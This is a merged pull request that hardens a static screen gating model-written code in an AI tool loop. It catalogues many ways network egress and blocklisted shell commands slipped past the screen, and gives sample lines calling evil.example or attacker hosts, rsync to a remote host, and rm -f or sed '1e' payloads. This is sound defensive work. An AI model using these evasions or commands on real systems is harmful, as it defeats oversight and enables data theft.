Skip to content

Studio tool loop: close two gaps in the static screens that gate model-written code - #11399

Merged
danielhanchen merged 32 commits into
mainfrom
security-tool-egress-screen
Sep 22, 2026
Merged

danielhanchen merged 32 commits into
mainfrom
security-tool-egress-screen

Conversation

@danielhanchen

@danielhanchen danielhanchen commented Sep 21, 2026 •

Copy link
Copy Markdown
Member

Two gaps in studio/backend/core/inference/tools.py. Both are gaps in what the existing
screens parse, not in what they intend, and both are closed without changing what the screens
are.

1. The python egress screen ignored import aliases and unreadable hosts

NetworkAndIoVisitor.visit_Call built its fully qualified name straight off the raw
attribute chain, with no import tracking at all. The sibling SignalEscapeVisitor in the same
file does track aliases (os_aliases, subprocess_aliases, shell_exec_aliases), so this is
the screen's own convention applied on one visitor and not the other.

Separately, the host was read only from an ast.Constant. Anything else left host_arg as
None and appended nothing at all, so is_safe stayed True and _python_is_high_risk
returned False. That is the wrong default for a screen: an unreadable host is the case that
most needs refusing, not the case to wave through. An in-code comment claimed dynamic hosts
were caught by the bash blocklist, which is not true of code that never goes near bash.

Every hostile spelling was reproduced against the real functions first: eleven of them, all
returning _check_code_safety = None and _python_is_high_risk = False before the change,
all blocked and high risk after.

What changed:

  • visit_Import and visit_ImportFrom resolve aliases for socket, urllib.request,
    urllib3, http.client, requests, httpx and aiohttp, covering import X as y and
    from X import f, including from urllib import request.
  • visit_Assign and visit_AugAssign track names bound to string literals, and
    _literal_str_prefix reads the leading literal out of a Constant, a Name, an f-string
    or a + concatenation. _unwrapped_url_arg follows urlopen(Request(url)).
  • _NETWORK_URL_ARG0_FQ limits the new fail-closed rule to calls whose first positional
    argument really is a host or URL, so socket.socket(AF_INET, ...), requests.Session() and
    httpx.Client() are untouched.
  • On those calls, an unreadable host appends unreadable_host_blocked instead of being
    skipped.

2. _find_blocked_commands did not treat a newline as a command position

The lexer's punctuation_chars was ;&|() with no \n, and shlex keeps \n in
whitespace, so no separator token was emitted at a line break. _BLOCKED_WORD_RE then
allowed only \s* plus a path after a boundary, so an assignment prefix defeated it.

Measured before the change: "echo hi\nA=1 rsync -e ssh -a ./ u@h:/tmp/d" returns [], while
the single-line form returns ['rsync'].

What changed: a _punctuation_lexer helper shared by the main lex and the four masking
helpers, which all needed the same whitespace handling for their tokens to stay aligned;
_COMMAND_POSITION_PUNCTUATION now includes \n; \n is in _OPERATOR_TOKEN_CHARS so a
glued ;\n still reads as one separator; and _BLOCKED_WORD_RE steps over unquoted
assignment prefixes. Quoted assignment values are deliberately left out: p='1e rm -f victim'
is a binding the sed screen already resolves, and widening to a naive \S* broke four
existing sed tests.

3. Four more holes in the same predicate, found while reviewing this branch

The first two sections describe the parsing gaps this branch set out to close. Reviewing it
against the real functions turned up four more in the same predicate, two of them introduced by
the first pass, so they are fixed here rather than left for a follow-up.

  • A stale alias survived the name being rebound. import socket as requests then
    import requests then requests.get("https://evil.example/x") is blocked on main and was
    permitted here, because the rewrite produced socket.get, which matches no entry in
    _NETWORK_FQ_PREFIXES. This branch made a case worse than the code it was hardening. Any
    binding of a name now drops the alias it carried, through one _binding_names helper covering
    assignment, unpacking, walrus, import, def, class, parameter, for target, as clause, match
    capture and del; an assignment that names a network module carries it on, so r = requests
    keeps r.get(...) screened.
  • One name could hold only one literal. Two different literals collapsed it to unreadable, so
    the second of two allowlisted endpoints was refused although main permits both. Tracking the
    newest binding instead would open a bypass: with latest-wins, if f: url = evil /
    else: url = allowed / requests.get(url) resolves to the allowlisted spelling. A name is now
    checked against every literal it can hold anywhere in the tree, which is sound without
    reasoning about which branch ran or which loop iteration this is. That also closed eight further
    bypasses where a parameter, for target, tuple unpacking, with ... as, comprehension target,
    lambda parameter, match capture or del left a stale literal in place and the screen vouched
    for the wrong host.
  • from requests import * turned the screen off. The callee was bound under no name the
    screen enumerated, so get("http://198.51.100.9/x") passed on main and here: one character
    where the function name would stand. A bare call now resolves against the star-imported network
    modules, unless a local binding of that name shadows it.
  • The destination was read only from the first positional argument. So the fail-closed rule
    refused a caller who put the URL in a variable while permitting
    requests.get(url = "https://evil.example/"), which is the spelling anyone reaches for the
    moment there is a timeout = next to it. _NETWORK_DESTINATION_ARG now records where each
    recognised call carries its destination, the positional index and the keyword spellings, so
    requests.request("GET", url) is read at its second positional too, and a * or ** splat
    fails closed because the destination may be inside it and is not here to read. This is the one
    item above that the previous revision of this description listed as deliberately out of scope.

One fix needed a second fix. The rebinding hook started as a visit override, which spends a
third Python frame per level of AST nesting, so RecursionError escaped _check_code_safety at
a third less nesting than before: bisected, a 494-term + chain analysed and a 329-term one
raised. A 330-term concatenation is plausible model output and the exception aborts the turn,
since the screen runs before any Popen and no call site wraps it. ast.NodeVisitor.generic_visit
is inlined now so the hook costs no frame, with the three alias-recording handlers rebinding first
and skipped there, because rebinding them twice pops the alias they just set. Depth is back to
parity, 495/494/494/494 against 496/494/494/495 on main.

What this costs

The screen runs once per tool call, ahead of the subprocess launch and an LLM turn, so the number
that matters is per call rather than per token.

An earlier revision of this branch was genuinely slow: 2.26x main across a 19 sample corpus of
the code this really screens, and up to 3.55x on one sample. Ordinary tool code was paying for
machinery it never used, three whole tree walks to build the alias, literal and shadow maps, a
second visitor pass, and a twenty five prefix scan per call, all to answer questions about a
recognised egress call that a pandas script never makes.

The screen now asks one cheap question first: could any call in this tree resolve to a network
function at all? Every route to one names a network module, as an import, an import from it, or
the module written out at the call site, so one pass over the node list the other classifiers
already cache answers it. When the answer is no, none of the three maps are built and the
gathering pass is skipped. Alongside it the pre passes share that cached node list, a callee is
tested against the prefixes only when its first component is one of the seven roots, the rebinding
hook is not called per node when there is no shadow to record, and _join_escaped_newlines
returns the text unchanged when it holds no backslash newline.

Measured against main on a pinned core, median per call:

what the model wrote main this branch
print("hello") 37.8 us 57.8 us
a pandas describe 84.5 us 112.7 us
a requests.get to an allowed host 68.7 us 154.9 us
a matplotlib plot 183.7 us 228.7 us
an 80 line script 858 us 997 us
a 300 call script 10.0 ms 10.5 ms
ls -la ./data 50.6 us 48.4 us
a 200 line shell script 7.6 ms 9.3 ms

Corpus total is 1.17x main, worst sample 2.69x and that one is genuinely network using code in
the 1 ms range. The fast path changes no verdict: an 884 source differential against the revision
before it finds no difference, the 98 cell corpus and the attribution set are unchanged, and
twenty cases pin the gate itself, including that forcing the slow path reaches the same answer.

The trade, stated plainly

The fail-closed rule refuses ordinary shapes whose host was always allowlisted: a URL in a
function parameter, a loop over a list of URLs, os.environ.get("HF_ENDPOINT", ...),
URL.rstrip("/"), urljoin(base, path), T.format(...), Request(url) then urlopen(req), a
ternary of two literals. A corpus of 158 realistic snippets with the URL literal at the call site
shows no new refusals at all; a corpus of 74 where the destination is reached indirectly shows 39.
The rule is also reachability-blind, so a never-called def fetch(url) beside a read_csv and a
describe() refuses the whole cell, and the message asks the user to write the allowed host out
in full when the host was huggingface.co the whole time.

There is no runtime egress enforcement behind this screen, so fail-closed is the only place the
policy can live and this revision keeps it. Worth deciding separately: whether to gate the refusal
on the call being reachable, and whether to reword it for the case where every literal the name can
hold is already allowlisted.

Tests

studio/backend/tests/test_sandbox_tools.py, extended in place. Demonstrated both ways:

  • newline cases: unpatched 6 failed, 10 passed; patched 16 passed.
  • alias and unreadable-host cases: unpatched 14 failed, 8 passed; patched 22 passed.
  • rebinding, star-import, several-values and destination-argument cases: 26 added, of which 17
    fail against the first revision of this branch and 9 are non-hostile controls that pass either
    way.

The cases that pass either way are the non-hostile ones, there so the screens cannot silently
start refusing legitimate work: a trusted host reached through an alias, an f-string path on an
allowlisted host, socket.socket / Session / Client, benign multi-line scripts,
A=1 python train.py, and a quoted newline.

One existing test encoded the defect. test_dynamic_url_not_statically_blocked asserted that
url = "https://example.com/"; requests.get(url) passes; it is now
test_untrusted_host_behind_a_name_blocked and asserts the refusal.

test_sandbox_tools.py is 512 passed, 1 skipped. Reverting tools.py alone and keeping the
tests: 39 fail with it at main, 21 with it at the branch's first revision.

A differential over every tool, sandbox, exec and web-access suite, this branch merged with
current main against main alone, on the same host: 19 failed / 5592 passed on main, 19
failed / 5648 passed merged, and the failure sets are identical line for line, so nothing here
breaks anything and the 56 extra passes are this branch's own cases. The 19 are landlock
confinement, oauth isolation and web search or ranking mocks, all red on main alone.

Cross platform, off the org queue and scoped to this file so a break fails the job:
ubuntu-latest, windows-latest, macos-15 on Apple Silicon, macos-15-intel and ubuntu-24.04-arm all
green. Three of those five are platforms this change does not touch, which is the point of running
them. windows-11-arm cannot answer either way on that runner: pyarrow publishes no win_arm64
wheel and the source build stops at find_package(Arrow) before a single test runs.

A hostile spelling is refused identically under six PYTHONHASHSEED values and under 500 shuffled
call orderings, so the verdict does not depend on set iteration order or on state left by an
earlier call.

What the screen still cannot catch

This stays a static screen, not a kernel sandbox, and the child still has outbound network. To
be explicit about the remaining edges rather than overclaim the fix:

  • A host reached through something the AST cannot fold (a function return, a dict or list
    lookup, getattr, % / .format / .join, eval / exec,
    importlib.import_module("requests"), a module object passed as an argument) now blocks when
    it sits in the first argument of a recognised call, but a network API reached entirely
    through an unrecognised indirection is still invisible.
  • A host in a keyword spelling this screen does not list, or in a positional other than the one
    recorded for that call, is not screened. The listed ones (url, fullurl, host, address,
    and the second positional of requests.request / httpx.request) are.
  • A literal host with no scheme, such as http.client.HTTPSConnection("evil.example") or
    socket.getaddrinfo("evil.example", 80), is still read as a non-URL and passes. Pre-existing
    and adjacent, but closing it changes a different predicate, so it is flagged here rather than
    bundled in.
  • The sock.connect((host, port)) branch is still literal only. Making it fail closed would
    fire on every unrelated .connect(...), including database engines and clients.
  • rsync is still absent from _NETWORK_CLIENT_AT_CMD_RE, so there is no high-risk fallback
    for it if the blocklist is ever bypassed again. Left out to keep this change to the parsing
    gap.
  • A heredoc body is still screened as commands, so cat <<'PY' with rm -rf x inside it is
    refused although the body is data. Identical on main, untouched here.
  • RecursionError from ast.parse itself still escapes the screen on input of a few thousand
    nested terms, because _parse_python catches only SyntaxError. Identical on main, and
    widening that except clause is a different predicate.
  • Studio: stop Python tool network calls from skipping the host allowlist #11172 rewrites the same visitor. Whichever of the two lands second should drop its version of
    the keyword-destination hunk rather than merge both.

What this looks like in the chat

Two isolated installs, this branch's merge base on the left and its head on the right, one
scene driven against both. The model is a stub served to the BACKEND as a connection's base
URL, so it decides only what was asked for: everything downstream, the tool loop,
is_high_risk_tool_call, _check_code_safety and the chat itself, is each side's own build,
and both screen the same bytes (code_sha equal). The request is one python call holding
its destination in a name:

import requests
url = "https://evil.example/collect"
r = requests.get(url, timeout = 10)
print(r.status_code)

before and after

On the left the card reads Used tool: Python, collapsed, followed by the model's closing
line and a 573 ms duration: in auto permission mode the call ran without asking. On the
right the same card reads Using tool: Python, expanded over the code, and the turn stops at
Waiting for approval... with Allow / Always allow / Deny.

The decisive number is not in the picture: the stub was asked for a completion twice on the
left and once on the right, with a tool result coming back only on the left. The left ran the
code and returned to the model; the right stopped and never did.

The pair was re-shot on the head this description now describes, after the review rounds that
followed the first version, so it is the behaviour that merges rather than the behaviour of an
earlier commit. Both halves run the identical script; the screen sees the same bytes either side.

…klist

_find_blocked_commands decided command position from a shlex token stream that
treats a newline as ordinary whitespace, so a line break emitted no separator
token and the walk stayed in argument position across it. The regex backstop
does accept a newline as a boundary, but it allows only whitespace and a path
before the blocked name, so a NAME=value prefix on the continuation line
escaped that too: "echo hi\nA=1 rsync -e ssh -a ./ user@host:/tmp/d" reported
nothing blocked, while the same command on one line reports rsync. bash runs
that second line, and rsync has no other gate, so the outbound copy ran with
neither a refusal nor an approval card.

The lexer now asks for the newline as punctuation and drops it from the
whitespace set, which is what makes the token appear at all, and the backstop
steps over unquoted assignment prefixes for the case where the lex raises and
the walk never happens. A quoted assignment value can hold the rest of the
line, which is a binding the sed screen resolves, so those are left alone.
The network half of the sandbox screen matched the callee against a fixed list
of fully qualified prefixes built from the raw attribute chain, and read the
host only out of an ast.Constant. It tracked no imports, so `import
urllib.request as u; u.urlopen("http://attacker/x")` and `from urllib.request
import urlopen` matched nothing at all, and a host assembled at runtime read as
no host rather than as an unknown one. Either spelling left network_calls
empty, so _check_code_safety returned None and _python_is_high_risk returned
False: the hard block did not refuse and auto mode did not ask, while the very
same request written as an unaliased literal was refused and raised a card.

The visitor now tracks module aliases and from-imports for socket,
urllib.request, urllib3, http.client, requests, httpx and aiohttp, the way the
shell-exec half of the same analyzer already tracks os and subprocess, and it
reads the leading literal of a concatenation, an f-string or a name bound to a
string so the allowlist still applies to the ordinary spellings. A call that
takes a host in its first argument and whose host cannot be read is now
treated as untrusted rather than skipped. That costs the dynamic-URL spelling
of an allowed fetch, which has to name its host in full, and the message says
so.

This is a static screen, not a sandbox: it still cannot follow a host through
a function return, a dict lookup, getattr or an eval, and a literal host with
no scheme in front of it is read as a path rather than a destination.
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Sep 21, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-09-22T12:42:47.238099Z dacb458 Manual request
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

chatgpt-codex-connector[bot]

This comment was marked as resolved.

…the screen can see

The egress screen resolved a call through import aliases but kept an alias after the
name was rebound, tracked one literal per name, and ignored star imports.

- A name bound to anything else drops the alias it carried, so
  `import socket as requests; import requests; requests.get("https://evil.example/x")`
  no longer rewrites to `socket.get`, which matched no network prefix and passed. An
  assignment that names a network module carries it on instead.
- A name is checked against every string literal it can hold anywhere in the tree, so
  two allowlisted endpoints in one variable are both read, while a conflicting pair
  across branches still refuses. Reading only the newest binding would allow
  `if f: url = evil` / `else: url = allowed` / `get(url)`.
- Bindings the screen previously missed (parameters, for and comprehension targets,
  tuple unpacking, `as` clauses, walrus, match captures, del) make a name unreadable
  rather than leaving a stale literal in place.
- `from requests import *` resolves a bare `get(...)` against the star-imported
  module, unless a local binding of that name shadows it.
The binding check runs twice for every node in the tree and nearly every node binds
nothing, so an exact-type lookup replaces a chain of a dozen isinstance calls. A 3200
line script screens in 119ms rather than 176ms; the verdicts are unchanged.
The rebinding hook was a `visit` override, which spends a third Python frame per level
of AST nesting: a 494 term concatenation was analysed and a 329 term one raised
RecursionError out of _check_code_safety, so the screen crashed the turn on input the
same screen handled before. The hook moves into an inlined generic_visit, and the three
handlers that record an alias rebind first and are skipped there, since they call
generic_visit after registering and a second sweep would pop what they just set.

Depth is back to base parity, measured by bisection on four nesting shapes: 495/494/494/494
against 496/494/494/495 on main, from 330/329/328/328. No verdict changes across the
98 case corpus, and none across five PYTHONHASHSEED values.
The fail-closed rule read only the first positional argument, so it refused a caller who
wrote the URL in a variable while permitting one who wrote requests.get(url = "http://
evil.example/"). That is the wrong way round: the cost landed on legitimate callers and
the check was sidesteppable by one word, which is the spelling anyone reaches for the
moment there is a timeout = next to it.

_NETWORK_DESTINATION_ARG records where each recognised call carries its destination, the
positional index and the keyword spellings, so requests.request("GET", url) is read at its
second positional too, and a * or ** splat fails closed since the destination could be
inside it and is not here to read. Measured: four spellings move from permitted to refused
(get(url =), urlopen(url =), request("GET", evil), get(url = target)), the 98 case corpus
is unchanged, and keyword callers to an allowlisted host stay permitted.
shimmyshimmer pushed a commit to shimmyshimmer/unsloth-staging-4 that referenced this pull request Sep 21, 2026
shimmyshimmer pushed a commit to shimmyshimmer/unsloth-staging-4 that referenced this pull request Sep 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 21, 2026
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex security review

chatgpt-codex-connector[bot]

This comment was marked as resolved.

…as the shell does

Two holes the second review round found, both regressions against main.

The alias map is not scope aware, which is fine for finding a call and wrong for losing
one: an `import socket as requests` inside a function body, a class body or an untaken
`if False` rewrote a module-level `requests.get("https://evil.example/x")` to
`socket.get`, which matches no network prefix, so a hardcoded host that main refuses
passed. Resolving an alias now only ADDS a candidate name and the recognised one decides,
so no binding anywhere can take a call out of view. Scoping the map per execution context
would work too; this is the smaller change and it fails closed by construction.

The shell removes a backslash-newline before it reads a command, so that line break is not
a command position: `echo hi \<newline>A=1 rm -rf x` is one `echo` and was refused.
The pair is joined first, but never inside single quotes, where the shell keeps both and
`sed -n '1e touch a\<newline>rm -f victim' f` really continues the executed payload onto
the next line. An existing test pinned that payload and failed against an unconditional
join, which is what turned a one-line regex change into a quote-aware walk.

Measured: `env \<newline>FOO=bar rm -rf x` still blocks, an unescaped newline is still a
boundary, an escaped backslash still leaves the newline standing, and the 98 case corpus is
unchanged. 13 cases added; 7 of 13 fail against 83d3b4a.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 21, 2026
chatgpt-codex-connector[bot]

This comment was marked as resolved.

…earlier binding

Two bypasses in my previous commit, both found by review.

Only a backslash-LF continues a line. Checked against the bash on this host, 5.2.21: a
backslash before CRLF escapes the CARRIAGE RETURN, so the newline still starts a command
and `echo hi \<CRLF>rm -rf ./build` really runs `rm`. Joining all three characters read
that as one `echo`. A probe script confirmed it both ways, LF continued and CRLF did not,
and the test that asserted the wrong behaviour is replaced by two that pin the boundary.

A star import rebinds every name the module exports, so a binding BEFORE it no longer
shadows: `def get(url): ...` then `from requests import *` then `get(...)` really calls
`requests.get`, and the shadow entry left the destination unscreened. A network star
import now drops the shadows recorded before it. Which names it exports is not knowable
here and the ones that matter are the module's own functions, so all prior entries go. A
binding after the import still shadows, since those are recorded as they are reached.

98 case corpus and the false-refusal attribution set are both unchanged. 4 cases added;
3 of 4 fail against 50dd5b6.
chatgpt-codex-connector[bot]

This comment was marked as resolved.

Third case in the same helper, and the same mistake each time: assuming the shell strips
a backslash-newline everywhere. Inside an unquoted comment the backslash is comment TEXT,
so the newline still ends the comment and starts a command. Checked against the bash on
this host, 5.2.21: a script of `echo ok # comment \<newline>touch /tmp/marker` creates the
marker. Joining made it one comment, and the later lex discards a comment whole, so the
command on the second line was reported as nothing blocked at all.

The walk now tracks comment state alongside quote state. A `#` opens a comment only at the
start of a word, which the same bash confirmed both ways: `echo "ok # x"` is quoted text
and `echo ab#cd` is an ordinary word, so both of those really do continue.

Now matching bash on all five shapes: comment plus continuation blocks, quoted-hash and
mid-word-hash continuations join, a plain continuation joins, and a comment without a
continuation still blocks the next line. 98 case corpus unchanged. 3 cases added.
chatgpt-codex-connector[bot]

This comment was marked as resolved.

danielhanchen pushed a commit to danielhanchen/unsloth-staging-2 that referenced this pull request Sep 21, 2026
… stores

Two more ways an alias stopped naming what the runtime still has, both reachable past the
previous fix because that one only protected the CANONICAL spelling.

A module alias is now a set that accumulates. Checking the written name saved
`import socket as requests` but did nothing for a custom one: with
`import requests as r` then `def f(): import socket as r`, the nested import overwrote
the outer mapping although Python scopes its `r` to the function, and the module-level
`r.get("https://evil.example/x")` was left with only `r.get` and `socket.get`, neither
recognised. Every module ever bound to a name is kept and any of them naming a network
module answers, so resolution only ever gains a way to recognise a call. Scoping the map
per execution context is the other route; this one fails closed without having to model
scope. A bare function alias is still dropped on a rebinding, so a local `def get(...)`
goes on shadowing `from requests import get`.

_stored_names walked every Name under a target, which includes the BASE of an attribute or
subscript, and those are read rather than bound: `r.debug = True` made `r` look rebound
and dropped an alias the runtime still has. It now descends tuple, list and starred targets
and stops at attributes and subscripts.

98 case corpus and the false-refusal attribution set are both unchanged, and the earlier
shadowing and star-import cases still block. 4 cases added, all 4 fail against 651121e.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 21, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 21, 2026
`case esac in x) ...;; esac` matches on the word `esac`, and counting
that first one closed the case early, which let the pattern's `)` end the
substitution. Checked against bash 5.2.21:

  echo "$(case esac in x) echo hi;; esac; echo ok # comment \
  rm -f victim
  )"

deletes the file, and the blocklist came back empty. An `esac` is counted
only in command position now, while `case` is still counted wherever it
appears, so both halves lean towards staying INSIDE the substitution.
`echo esac` and a nested case are unaffected.
chatgpt-codex-connector[bot]

This comment was marked as resolved.

A `)` inside `${...}` belongs to the expansion, not to the substitution
around it. Checked against bash 5.2.21:

  v='abc)'; echo "$(x=${v%)}; echo ok # comment \
  rm -f victim
  )"

runs the `rm`, and reading that `)` as the substitution's close put the
rest back in double quotes, where the `#` opened no comment and the
continuation was joined away. Expansions are counted per substitution
now, the same way ordinary groupings and `case` already were, so a paren
inside one can neither open a group nor end the substitution. Nesting
works, and an ordinary `${HOME}`, a lone `}` and a substitution inside an
expansion are all unaffected.

Also merges current main, which the branch was behind: the frontend
contract tests it ships were failing on the merge for that reason alone
and pass either side of this branch now.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
chatgpt-codex-connector[bot]

This comment was marked as resolved.

Two ways a destination reached the network unscreened.

Leading whitespace hid the host. The client strips it before parsing, so
`requests.get(" https://evil.example/x")` really fetches
`https://evil.example/x`, while matching the raw literal found no host at
all and allowed the call. Checked against requests 2.34.2, which prepares
that URL with the space gone. The literal is stripped before matching
now. A value still unparsable after stripping is left as no host on
purpose: the client raises MissingSchema on it rather than reaching
anything, so failing closed there would refuse every
`request("GET", allowed)` whose alias makes the method look like a
destination.

`urllib3.request(method, url, ...)` matches the broad `urllib3.` prefix
but had no destination signature, so the fallback read argument 0, the
method, and never looked at the URL. Both a literal and a name went
through. It now carries the same second-positional signature
`requests.request` and `httpx.request` already had, checked against the
installed urllib3 2.8.0.

Fifteen cases added, nine of which fail on the previous head. An
allowlisted host with a leading or trailing space still runs, and so does
`urllib3.request` to one.
chatgpt-codex-connector[bot]

This comment was marked as resolved.

An assignment already carried the network MODULE it named, so `s = r`
after `import requests as r` kept `s.get(...)` screened. It carried no
FUNCTION, so the same line shed the alias and recorded the target as
shadowed instead:

  from requests import get as fetch
  fetch = fetch
  fetch("https://evil.example/x")

went through with no candidate at all, and so did `g = fetch`, a chain of
two assignments, and `g = requests.get`.

`_functions_named_by` is the counterpart of `_modules_named_by`: a bare
name resolves through the function aliases, a dotted one through the
usual candidates, and either registers on the target and exempts it from
shadowing. A real rebinding still shadows, so `fetch = print` is still
allowed, and a carried alias reaching an allowlisted host still runs.

Seven cases added, five failing on the previous head.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
chatgpt-codex-connector[bot]

This comment was marked as resolved.

Two shapes rebound a name without ever being recorded as a shadow, so a
stale network candidate outlived them and refused calls that reach
nothing of the sort.

Imports were excluded outright, to stop the import that registers an
alias shadowing the name it had just bound. The narrower rule does that
job without the side effect: both handlers register first and pass what
they bound as `exempt`, so `import requests as client` followed by
`import my_client as client` now shadows and `client.get(key)` is a local
call again, while the registering import still cannot shadow itself.

A walrus written as its own statement was never seen, because the
statement is an `Expr` and the binding is the `NamedExpr` inside it.
Only that shape is recorded: a walrus buried in a larger expression may
not be evaluated at all.

Neither loosens anything. A shadow still does not reach backwards, so a
call above the rebinding is still screened, and a network import after a
local one still registers. Seven cases added, three failing on the
previous head; the 98 cell corpus and the attribution set did not move.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from danielhanchen Sep 22, 2026
@unslothai unslothai deleted a comment from danielhanchen Sep 22, 2026
chatgpt-codex-connector[bot]

This comment was marked as resolved.

Decorators, defaults, annotations and class bases are evaluated in the enclosing
scope at the moment the def executes, before any parameter is bound. The visitor
entered the new scope first, so a parameter could shadow a call the parameter
cannot reach:

    from requests import get as fetch
    def f(fetch = print, x = fetch("http://evil.example/x")): pass

really calls the imported requests.get while defining f, and the fetch parameter
hid it. Only the body belongs to the new scope now.

Two more, found alongside it:

An assignment copies what the source names at that line, not what it once named.
`fetch = print` then `g = fetch` left g holding a stale requests.get, and the
unreadable-host rule then refused a cell that only calls print. Both the function
and the module copy paths now consult the shadow table first. A plain
`import requests` registers the binding it makes, so the import is no longer read
as a shadow of its own name.

A package that contains a network module counts as a way to reach it:
`import urllib.request` binds urllib, so `u = urllib` then `u.request.urlopen(x)`
is the same call written through the parent.

562 tests pass. Screen timings are unchanged, worst sample 1.03x with four faster.
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@unslothai unslothai deleted a comment from chatgpt-codex-connector Bot Sep 22, 2026
@danielhanchen

Copy link
Copy Markdown
Member Author

@codex review

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Already looking forward to the next diff.

Reviewed commit: dacb458976

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@danielhanchen
danielhanchen merged commit de3bb5e into main Sep 22, 2026
35 of 38 checks passed
@danielhanchen
danielhanchen deleted the security-tool-egress-screen branch September 22, 2026 12:54
shaojun pushed a commit to shaojun/unsloth that referenced this pull request Sep 29, 2026
…l-written code (unslothai#11399)

* Studio: screen the first word of every line against the terminal blocklist

_find_blocked_commands decided command position from a shlex token stream that
treats a newline as ordinary whitespace, so a line break emitted no separator
token and the walk stayed in argument position across it. The regex backstop
does accept a newline as a boundary, but it allows only whitespace and a path
before the blocked name, so a NAME=value prefix on the continuation line
escaped that too: "echo hi\nA=1 rsync -e ssh -a ./ user@host:/tmp/d" reported
nothing blocked, while the same command on one line reports rsync. bash runs
that second line, and rsync has no other gate, so the outbound copy ran with
neither a refusal nor an approval card.

The lexer now asks for the newline as punctuation and drops it from the
whitespace set, which is what makes the token appear at all, and the backstop
steps over unquoted assignment prefixes for the case where the lex raises and
the walk never happens. A quoted assignment value can hold the rest of the
line, which is a binding the sed screen resolves, so those are left alone.

* Studio: resolve aliases and unreadable hosts in the python egress screen

The network half of the sandbox screen matched the callee against a fixed list
of fully qualified prefixes built from the raw attribute chain, and read the
host only out of an ast.Constant. It tracked no imports, so `import
urllib.request as u; u.urlopen("http://attacker/x")` and `from urllib.request
import urlopen` matched nothing at all, and a host assembled at runtime read as
no host rather than as an unknown one. Either spelling left network_calls
empty, so _check_code_safety returned None and _python_is_high_risk returned
False: the hard block did not refuse and auto mode did not ask, while the very
same request written as an unaliased literal was refused and raised a card.

The visitor now tracks module aliases and from-imports for socket,
urllib.request, urllib3, http.client, requests, httpx and aiohttp, the way the
shell-exec half of the same analyzer already tracks os and subprocess, and it
reads the leading literal of a concatenation, an f-string or a name bound to a
string so the allowlist still applies to the ordinary spellings. A call that
takes a host in its first argument and whose host cannot be read is now
treated as untrusted rather than skipped. That costs the dynamic-URL spelling
of an allowed fetch, which has to name its host in full, and the message says
so.

This is a static screen, not a sandbox: it still cannot follow a host through
a function return, a dict lookup, getattr or an eval, and a literal host with
no scheme in front of it is read as a path rather than a destination.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: resolve the callee and the destination through every binding the screen can see

The egress screen resolved a call through import aliases but kept an alias after the
name was rebound, tracked one literal per name, and ignored star imports.

- A name bound to anything else drops the alias it carried, so
  `import socket as requests; import requests; requests.get("https://evil.example/x")`
  no longer rewrites to `socket.get`, which matched no network prefix and passed. An
  assignment that names a network module carries it on instead.
- A name is checked against every string literal it can hold anywhere in the tree, so
  two allowlisted endpoints in one variable are both read, while a conflicting pair
  across branches still refuses. Reading only the newest binding would allow
  `if f: url = evil` / `else: url = allowed` / `get(url)`.
- Bindings the screen previously missed (parameters, for and comprehension targets,
  tuple unpacking, `as` clauses, walrus, match captures, del) make a name unreadable
  rather than leaving a stale literal in place.
- `from requests import *` resolves a bare `get(...)` against the star-imported
  module, unless a local binding of that name shadows it.

* Studio: gate the binding lookup on the node type

The binding check runs twice for every node in the tree and nearly every node binds
nothing, so an exact-type lookup replaces a chain of a dozen isinstance calls. A 3200
line script screens in 119ms rather than 176ms; the verdicts are unchanged.

* Studio: keep the visitor's frame budget equal to the base walk

The rebinding hook was a `visit` override, which spends a third Python frame per level
